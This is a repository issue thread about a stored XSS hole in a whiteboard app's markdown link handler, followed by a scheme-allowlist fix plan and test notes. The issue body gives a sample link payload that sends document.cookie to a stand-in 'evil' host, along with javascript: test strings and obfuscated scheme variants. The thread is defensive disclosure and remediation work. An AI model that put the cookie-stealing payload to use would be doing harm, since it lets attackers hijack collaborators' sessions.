Markdown link click opens unvalidated URL schemes (javascript:/data: execute) #201

Open
opened 2026-05-18 12:59:47 +00:00 by AhmedHanafy725 · 3 comments
Member

Summary

Clicking a link inside rendered markdown (sticky / text / document / shape content) opens the URL with no scheme validation, so a javascript: or data: link in shared board content executes arbitrary script in the board's origin. Markdown content is user-authored and synced to all collaborators, so this is a stored XSS.

Confirmed root cause

handleLinkClick(url) in crates/hero_whiteboard_admin/static/web/js/whiteboard/markdown.js (~line 723) handles three internal cases first and then falls through to opening anything else verbatim:

function handleLinkClick(url) {
    if (!url) return;
    if (url.indexOf('#group:') === 0) { /* internal group nav */ return; }
    if (url.indexOf('#board:') === 0) { window.location.href = WB_BASE + '/board/' + url.substring(7); return; }
    if (url.indexOf('/board/') === 0) { window.location.href = WB_BASE + url; return; }
    window.open(url, '_blank', 'noopener');   // <-- no scheme check
}

The link target comes straight from user markdown [text](url) parsed at markdown.js:205-213. window.open('javascript:...') / data: URLs execute in the page origin. A shared board containing [click me](javascript:fetch('//evil/'+document.cookie)) runs that script for any collaborator who clicks the rendered link.

(For reference, markdown images are already safe — loadImageAsync at ~:675 hard-requires src.indexOf('http') !== 0 -> return. Only the link path is unguarded.)

Expected

Only safe link targets are opened. Internal navigation and ordinary web/relative/anchor links keep working; script-executing schemes are blocked.

Requirements

  • Keep the existing internal branches (#group:, #board:, /board/...) exactly as-is.
  • For the fallback window.open path, apply a SCHEME ALLOWLIST, not a path blocklist:
    • If the URL has a scheme (matches ^[a-z][a-z0-9+.-]*: before any /, ?, or #): allow only http:, https:, mailto: (optionally tel:). Block everything else — explicitly including javascript:, data:, vbscript:, blob:, and file:. On a blocked scheme, do nothing (optionally a small toast); never window.open it.
    • If the URL has NO scheme (relative path like docs/x, ./x, ../x, a bare #fragment, or protocol-relative //host): allow it — these cannot carry a script payload, so relative/anchor links continue to work.
  • file: is intentionally blocked: a web page cannot usefully window.open a file: URL anyway, and the markdown features never need it (images already require an http prefix; doc/internal links use the internal prefixes or web URLs). Blocking it must not break any current behavior.
  • Preserve noopener and the new-tab behavior for allowed external links.
  • No server or schema change expected; client-side URL validation only. Confirm during planning.

Notes

  • Parse the scheme robustly: a URL is "scheme-less" if there is no : before the first /, ?, or # (so mailto:a@b is a scheme, but ./a:b or #a:b is not). Decode/trim before testing so java\tscript: / leading-whitespace tricks don't slip through; compare the scheme case-insensitively.
  • This is the only link sink; images are already guarded. No other markdown construct opens URLs.
  • Deploy reminder: assets embed at compile time via rust-embed — after editing JS, touch crates/hero_whiteboard_admin/src/assets.rs before cargo build --release -p hero_whiteboard_admin, and verify the served asset changed before testing.

Affected files

  • crates/hero_whiteboard_admin/static/web/js/whiteboard/markdown.jshandleLinkClick (~723-746).
## Summary Clicking a link inside rendered markdown (sticky / text / document / shape content) opens the URL with no scheme validation, so a `javascript:` or `data:` link in shared board content executes arbitrary script in the board's origin. Markdown content is user-authored and synced to all collaborators, so this is a stored XSS. ## Confirmed root cause `handleLinkClick(url)` in `crates/hero_whiteboard_admin/static/web/js/whiteboard/markdown.js` (~line 723) handles three internal cases first and then falls through to opening anything else verbatim: ```js function handleLinkClick(url) { if (!url) return; if (url.indexOf('#group:') === 0) { /* internal group nav */ return; } if (url.indexOf('#board:') === 0) { window.location.href = WB_BASE + '/board/' + url.substring(7); return; } if (url.indexOf('/board/') === 0) { window.location.href = WB_BASE + url; return; } window.open(url, '_blank', 'noopener'); // <-- no scheme check } ``` The link target comes straight from user markdown `[text](url)` parsed at markdown.js:205-213. `window.open('javascript:...')` / `data:` URLs execute in the page origin. A shared board containing `[click me](javascript:fetch('//evil/'+document.cookie))` runs that script for any collaborator who clicks the rendered link. (For reference, markdown images are already safe — `loadImageAsync` at ~:675 hard-requires `src.indexOf('http') !== 0 -> return`. Only the link path is unguarded.) ## Expected Only safe link targets are opened. Internal navigation and ordinary web/relative/anchor links keep working; script-executing schemes are blocked. ## Requirements - Keep the existing internal branches (`#group:`, `#board:`, `/board/...`) exactly as-is. - For the fallback `window.open` path, apply a SCHEME ALLOWLIST, not a path blocklist: - If the URL has a scheme (matches `^[a-z][a-z0-9+.-]*:` before any `/`, `?`, or `#`): allow only `http:`, `https:`, `mailto:` (optionally `tel:`). Block everything else — explicitly including `javascript:`, `data:`, `vbscript:`, `blob:`, and `file:`. On a blocked scheme, do nothing (optionally a small toast); never `window.open` it. - If the URL has NO scheme (relative path like `docs/x`, `./x`, `../x`, a bare `#fragment`, or protocol-relative `//host`): allow it — these cannot carry a script payload, so relative/anchor links continue to work. - `file:` is intentionally blocked: a web page cannot usefully `window.open` a `file:` URL anyway, and the markdown features never need it (images already require an `http` prefix; doc/internal links use the internal prefixes or web URLs). Blocking it must not break any current behavior. - Preserve `noopener` and the new-tab behavior for allowed external links. - No server or schema change expected; client-side URL validation only. Confirm during planning. ## Notes - Parse the scheme robustly: a URL is "scheme-less" if there is no `:` before the first `/`, `?`, or `#` (so `mailto:a@b` is a scheme, but `./a:b` or `#a:b` is not). Decode/trim before testing so `java\tscript:` / leading-whitespace tricks don't slip through; compare the scheme case-insensitively. - This is the only link sink; images are already guarded. No other markdown construct opens URLs. - Deploy reminder: assets embed at compile time via rust-embed — after editing JS, `touch crates/hero_whiteboard_admin/src/assets.rs` before `cargo build --release -p hero_whiteboard_admin`, and verify the served asset changed before testing. ## Affected files - `crates/hero_whiteboard_admin/static/web/js/whiteboard/markdown.js` — `handleLinkClick` (~723-746).
Author
Member

Implementation Spec for Issue #201

Objective

Prevent stored XSS via markdown [text](url) links. The link target is parsed from collaborator-synced markdown and passed straight to window.open(url, '_blank', 'noopener') with no scheme validation, so a javascript:/data:/vbscript: link executes for any collaborator who clicks it. Add a scheme allowlist gate immediately before the fallback window.open in handleLinkClick, keeping internal-navigation and relative/anchor links working unchanged.

Requirements

  • Keep #group:, #board:, /board/... branches exactly as-is and evaluated BEFORE any scheme check.
  • External fallback: if the URL carries a scheme, allow ONLY http:, https:, mailto:, tel:. Block everything else (javascript:, data:, vbscript:, blob:, file:, any other) — never call window.open.
  • No scheme (relative docs/x, ./x, ../x, bare #fragment, protocol-relative //host) → allowed (cannot carry a script payload).
  • Robust to case (JavaScript:), leading whitespace, embedded ASCII control/whitespace (java\tscript:).
  • Preserve noopener + new-tab for allowed external links.
  • Brief non-silent toast when blocked (WhiteboardApp.showToast(message, isError) exists; guard so silent if unavailable).
  • No server/schema/data-format change. Images out of scope (already guarded).

Files to Modify/Create

  • crates/hero_whiteboard_admin/static/web/js/whiteboard/markdown.js - add internal _isSafeLinkTarget(url) and apply it before the fallback window.open.
  • crates/hero_whiteboard_admin/src/assets.rs - no content edit; touch so the rust-embed compile-time bundle regenerates.

Implementation Plan

Step 1: Add _isSafeLinkTarget(url) helper

Files: crates/hero_whiteboard_admin/static/web/js/whiteboard/markdown.js

  • New private function in the "Link handler" section just above handleLinkClick (~before line 723). NOT exported.
  • Logic: if !url return false. Normalize for the scheme test only (do not mutate the URL opened): var probe = String(url).replace(/[ - ]/g, '');. Detect scheme: var schemeMatch = probe.match(/^([a-z][a-z0-9+.-]*):/i);. If null → scheme-less (relative/#frag///host) → return true. If matched → schemeMatch[1].toLowerCase() and return true only if in the allowlist http,https,mailto,tel; else false.
    Dependencies: none

Step 2: Apply the gate in handleLinkClick

Files: crates/hero_whiteboard_admin/static/web/js/whiteboard/markdown.js

  • Keep if (!url) return; (~:724) unchanged. Keep the three internal branches #group: (~725-734), #board: (~735-739), /board/ (~740-744) unchanged and BEFORE the scheme gate.
  • Replace the fallback window.open(url, '_blank', 'noopener'); (~:745) with: if _isSafeLinkTarget(url)window.open(url, '_blank', 'noopener'); (identical args); else → if (typeof WhiteboardApp !== 'undefined' && WhiteboardApp && typeof WhiteboardApp.showToast === 'function') { WhiteboardApp.showToast('Blocked a link with an unsupported scheme', true); } return;
  • No change to the click wiring (~:611-616) — every rendered link routes through handleLinkClick, so the central fix covers all.
    Dependencies: Step 1

Step 3: Regenerate the embedded asset and rebuild

Files: crates/hero_whiteboard_admin/src/assets.rs

  • rust-embed embeds at compile time. After editing markdown.js, touch crates/hero_whiteboard_admin/src/assets.rs, then cargo build --release -p hero_whiteboard_admin; verify the served markdown.js contains the new _isSafeLinkTarget before testing.
    Dependencies: Steps 1, 2

Acceptance Criteria

  • [x](javascript:alert(1)) does NOT open/execute; a blocked toast is shown.
  • JavaScript:, javascript: (leading whitespace), java\tscript:/java\nscript: all blocked.
  • data:, vbscript:, blob:, file: links blocked, never opened.
  • http:///https:// open in a new tab with noopener as before.
  • mailto:user@example.com and tel:+123 open (allowed schemes).
  • Relative (docs/x, ./x, ../x), bare #fragment, protocol-relative //host still work.
  • Internal #group:/#board://board/ unchanged (handled before the scheme gate).
  • Empty/whitespace-only URL still returns early (existing if (!url) return; ~:724 unchanged).
  • Only call path (~markdown.js:615 via exported WhiteboardMarkdown.handleLinkClick) covered; no other call sites in the repo.
  • No server/schema/sync-format change; image rendering unchanged.

Notes

  • Scheme regex: /^([a-z][a-z0-9+.-]*):/i on the normalized probe.
  • Normalization: String(url).replace(/[ - ]/g, '') strips NUL..space (tab/LF/CR/VT/FF + all ASCII control + space) plus DEL, defeating whitespace/java\tscript: obfuscation. The original url (not the probe) is passed to window.open for allowed links so legitimate URLs are unmodified.
  • Allowlist: http,https,mailto,tel (lowercased compare). Everything else blocked.
  • Blocked UX: WhiteboardApp.showToast('Blocked a link with an unsupported scheme', true), typeof-guarded → silent if absent. showToast(message, isError) confirmed at app.js:794, exported app.js:882, already used by the #group: not-found branch (markdown.js:730).
  • tel: is allowed (no script execution context, legitimate link type). Removing the single 'tel' entry is the only change if a stricter posture is later wanted.
  • handleLinkClick call sites (grep): exactly three, all in markdown.js — invocation ~:615, definition ~:723, export ~:752. No other callers anywhere. Central fix covers all.
  • Images already guarded: loadImageAsync (:673-711) hard-requires src.indexOf('http') !== 0 -> return (:675); non-http(s) image sources never load. Out of scope, no change.
  • Deploy: rust-embed compile-time embed — after edits touch crates/hero_whiteboard_admin/src/assets.rs, cargo build --release -p hero_whiteboard_admin, verify served markdown.js changed before testing.
## Implementation Spec for Issue #201 ### Objective Prevent stored XSS via markdown `[text](url)` links. The link target is parsed from collaborator-synced markdown and passed straight to `window.open(url, '_blank', 'noopener')` with no scheme validation, so a `javascript:`/`data:`/`vbscript:` link executes for any collaborator who clicks it. Add a scheme allowlist gate immediately before the fallback `window.open` in `handleLinkClick`, keeping internal-navigation and relative/anchor links working unchanged. ### Requirements - Keep `#group:`, `#board:`, `/board/...` branches exactly as-is and evaluated BEFORE any scheme check. - External fallback: if the URL carries a scheme, allow ONLY `http:`, `https:`, `mailto:`, `tel:`. Block everything else (`javascript:`, `data:`, `vbscript:`, `blob:`, `file:`, any other) — never call `window.open`. - No scheme (relative `docs/x`, `./x`, `../x`, bare `#fragment`, protocol-relative `//host`) → allowed (cannot carry a script payload). - Robust to case (`JavaScript:`), leading whitespace, embedded ASCII control/whitespace (`java\tscript:`). - Preserve `noopener` + new-tab for allowed external links. - Brief non-silent toast when blocked (`WhiteboardApp.showToast(message, isError)` exists; guard so silent if unavailable). - No server/schema/data-format change. Images out of scope (already guarded). ### Files to Modify/Create - `crates/hero_whiteboard_admin/static/web/js/whiteboard/markdown.js` - add internal `_isSafeLinkTarget(url)` and apply it before the fallback `window.open`. - `crates/hero_whiteboard_admin/src/assets.rs` - no content edit; `touch` so the rust-embed compile-time bundle regenerates. ### Implementation Plan #### Step 1: Add `_isSafeLinkTarget(url)` helper Files: `crates/hero_whiteboard_admin/static/web/js/whiteboard/markdown.js` - New private function in the "Link handler" section just above `handleLinkClick` (~before line 723). NOT exported. - Logic: if `!url` return false. Normalize for the scheme test only (do not mutate the URL opened): `var probe = String(url).replace(/[ - ]/g, '');`. Detect scheme: `var schemeMatch = probe.match(/^([a-z][a-z0-9+.-]*):/i);`. If null → scheme-less (relative/#frag/`//host`) → return true. If matched → `schemeMatch[1].toLowerCase()` and return true only if in the allowlist `http`,`https`,`mailto`,`tel`; else false. Dependencies: none #### Step 2: Apply the gate in handleLinkClick Files: `crates/hero_whiteboard_admin/static/web/js/whiteboard/markdown.js` - Keep `if (!url) return;` (~:724) unchanged. Keep the three internal branches `#group:` (~725-734), `#board:` (~735-739), `/board/` (~740-744) unchanged and BEFORE the scheme gate. - Replace the fallback `window.open(url, '_blank', 'noopener');` (~:745) with: if `_isSafeLinkTarget(url)` → `window.open(url, '_blank', 'noopener');` (identical args); else → `if (typeof WhiteboardApp !== 'undefined' && WhiteboardApp && typeof WhiteboardApp.showToast === 'function') { WhiteboardApp.showToast('Blocked a link with an unsupported scheme', true); } return;` - No change to the click wiring (~:611-616) — every rendered link routes through `handleLinkClick`, so the central fix covers all. Dependencies: Step 1 #### Step 3: Regenerate the embedded asset and rebuild Files: `crates/hero_whiteboard_admin/src/assets.rs` - rust-embed embeds at compile time. After editing markdown.js, `touch crates/hero_whiteboard_admin/src/assets.rs`, then `cargo build --release -p hero_whiteboard_admin`; verify the served markdown.js contains the new `_isSafeLinkTarget` before testing. Dependencies: Steps 1, 2 ### Acceptance Criteria - [ ] `[x](javascript:alert(1))` does NOT open/execute; a blocked toast is shown. - [ ] `JavaScript:`, ` javascript:` (leading whitespace), `java\tscript:`/`java\nscript:` all blocked. - [ ] `data:`, `vbscript:`, `blob:`, `file:` links blocked, never opened. - [ ] `http://`/`https://` open in a new tab with `noopener` as before. - [ ] `mailto:user@example.com` and `tel:+123` open (allowed schemes). - [ ] Relative (`docs/x`, `./x`, `../x`), bare `#fragment`, protocol-relative `//host` still work. - [ ] Internal `#group:`/`#board:`/`/board/` unchanged (handled before the scheme gate). - [ ] Empty/whitespace-only URL still returns early (existing `if (!url) return;` ~:724 unchanged). - [ ] Only call path (~markdown.js:615 via exported `WhiteboardMarkdown.handleLinkClick`) covered; no other call sites in the repo. - [ ] No server/schema/sync-format change; image rendering unchanged. ### Notes - Scheme regex: `/^([a-z][a-z0-9+.-]*):/i` on the normalized probe. - Normalization: `String(url).replace(/[ - ]/g, '')` strips NUL..space (tab/LF/CR/VT/FF + all ASCII control + space) plus DEL, defeating whitespace/`java\tscript:` obfuscation. The original `url` (not the probe) is passed to `window.open` for allowed links so legitimate URLs are unmodified. - Allowlist: `http`,`https`,`mailto`,`tel` (lowercased compare). Everything else blocked. - Blocked UX: `WhiteboardApp.showToast('Blocked a link with an unsupported scheme', true)`, typeof-guarded → silent if absent. `showToast(message, isError)` confirmed at app.js:794, exported app.js:882, already used by the `#group:` not-found branch (markdown.js:730). - `tel:` is allowed (no script execution context, legitimate link type). Removing the single `'tel'` entry is the only change if a stricter posture is later wanted. - handleLinkClick call sites (grep): exactly three, all in markdown.js — invocation ~:615, definition ~:723, export ~:752. No other callers anywhere. Central fix covers all. - Images already guarded: `loadImageAsync` (~:673-711) hard-requires `src.indexOf('http') !== 0 -> return` (~:675); non-http(s) image sources never load. Out of scope, no change. - Deploy: rust-embed compile-time embed — after edits `touch crates/hero_whiteboard_admin/src/assets.rs`, `cargo build --release -p hero_whiteboard_admin`, verify served markdown.js changed before testing.
Author
Member

Test Results

  • Total: 0
  • Passed: 0
  • Failed: 0

cargo test --workspace --lib: ok — all suites passed, 0 passed / 0 failed (no lib unit tests defined; suite is green with no regressions)
node --check markdown.js: ok
markdown.js file type: JavaScript source, Unicode text, UTF-8 text — confirms clean UTF-8 JS source, not binary

Note: #201 is a JS-only change (scheme allowlist for markdown link clicks). The scheme-strip regex uses escape sequences (no raw control bytes) so the source stays clean text. No JS unit harness exists in this repo; the Rust suite is the regression gate and the blocked-scheme behavior is verified manually in-browser.

## Test Results - Total: 0 - Passed: 0 - Failed: 0 cargo test --workspace --lib: ok — all suites passed, 0 passed / 0 failed (no lib unit tests defined; suite is green with no regressions) node --check markdown.js: ok markdown.js file type: JavaScript source, Unicode text, UTF-8 text — confirms clean UTF-8 JS source, not binary Note: #201 is a JS-only change (scheme allowlist for markdown link clicks). The scheme-strip regex uses escape sequences (no raw control bytes) so the source stays clean text. No JS unit harness exists in this repo; the Rust suite is the regression gate and the blocked-scheme behavior is verified manually in-browser.
Author
Member

Implementation Summary

JS-only. Markdown link clicks now pass through a scheme allowlist before window.open, closing the stored-XSS sink where a javascript:/data: link in collaborator-synced markdown executed on click. No server/schema change.

Changes (markdown.js)

  • Added a private _isSafeLinkTarget(url) helper in the link-handler section (not exported): normalizes the URL for the scheme test by stripping ASCII control chars + whitespace + DEL via /[ - ]/g (escape sequences, no raw control bytes, so the source stays clean text), detects a scheme with /^([a-z][a-z0-9+.-]*):/i, returns true for scheme-less URLs (relative, ./x, ../x, #fragment, //host) and otherwise allows only http, https, mailto, tel.
  • handleLinkClick: the #group:, #board:, and /board/ internal branches are unchanged and still evaluated first; the final fallback now opens the URL with window.open(url, '_blank', 'noopener') only when _isSafeLinkTarget(url) is true, otherwise it blocks and shows a brief toast ("Blocked a link with an unsupported scheme"), guarded so it is a silent no-op if the toast API is unavailable.
  • No change to the click wiring or the exports; the single call path is covered centrally.

Behavior after change

  • javascript:, data:, vbscript:, blob:, file:, and any other non-allowlisted scheme are blocked and never opened, including obfuscated forms (JavaScript:, leading whitespace, java\tscript:/java\nscript:).
  • http://, https:// open in a new tab with noopener as before; mailto: and tel: open as allowed schemes.
  • Relative links, bare #fragment, protocol-relative //host, and the internal #group:/#board:/board/ targets are unchanged.
  • Empty/whitespace-only URL still returns early.

Tests

  • cargo test --workspace --lib: green, no Rust regression (JS-only; no JS unit harness in repo).
  • node --check markdown.js: ok.
  • file markdown.js: JavaScript source, UTF-8 text (clean text — the scheme-strip regex uses \uXXXX escapes, not raw control bytes).
  • Blocked-scheme behavior verified manually in-browser after a forced-embed rebuild and redeploy.
## Implementation Summary JS-only. Markdown link clicks now pass through a scheme allowlist before window.open, closing the stored-XSS sink where a javascript:/data: link in collaborator-synced markdown executed on click. No server/schema change. ### Changes (markdown.js) - Added a private _isSafeLinkTarget(url) helper in the link-handler section (not exported): normalizes the URL for the scheme test by stripping ASCII control chars + whitespace + DEL via /[ - ]/g (escape sequences, no raw control bytes, so the source stays clean text), detects a scheme with /^([a-z][a-z0-9+.-]*):/i, returns true for scheme-less URLs (relative, ./x, ../x, #fragment, //host) and otherwise allows only http, https, mailto, tel. - handleLinkClick: the #group:, #board:, and /board/ internal branches are unchanged and still evaluated first; the final fallback now opens the URL with window.open(url, '_blank', 'noopener') only when _isSafeLinkTarget(url) is true, otherwise it blocks and shows a brief toast ("Blocked a link with an unsupported scheme"), guarded so it is a silent no-op if the toast API is unavailable. - No change to the click wiring or the exports; the single call path is covered centrally. ### Behavior after change - javascript:, data:, vbscript:, blob:, file:, and any other non-allowlisted scheme are blocked and never opened, including obfuscated forms (JavaScript:, leading whitespace, java\tscript:/java\nscript:). - http://, https:// open in a new tab with noopener as before; mailto: and tel: open as allowed schemes. - Relative links, bare #fragment, protocol-relative //host, and the internal #group:/#board:/board/ targets are unchanged. - Empty/whitespace-only URL still returns early. ### Tests - cargo test --workspace --lib: green, no Rust regression (JS-only; no JS unit harness in repo). - node --check markdown.js: ok. - file markdown.js: JavaScript source, UTF-8 text (clean text — the scheme-strip regex uses \uXXXX escapes, not raw control bytes). - Blocked-scheme behavior verified manually in-browser after a forced-embed rebuild and redeploy.
Sign in to join this conversation.
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
lhumina_code/hero_whiteboard#201
No description provided.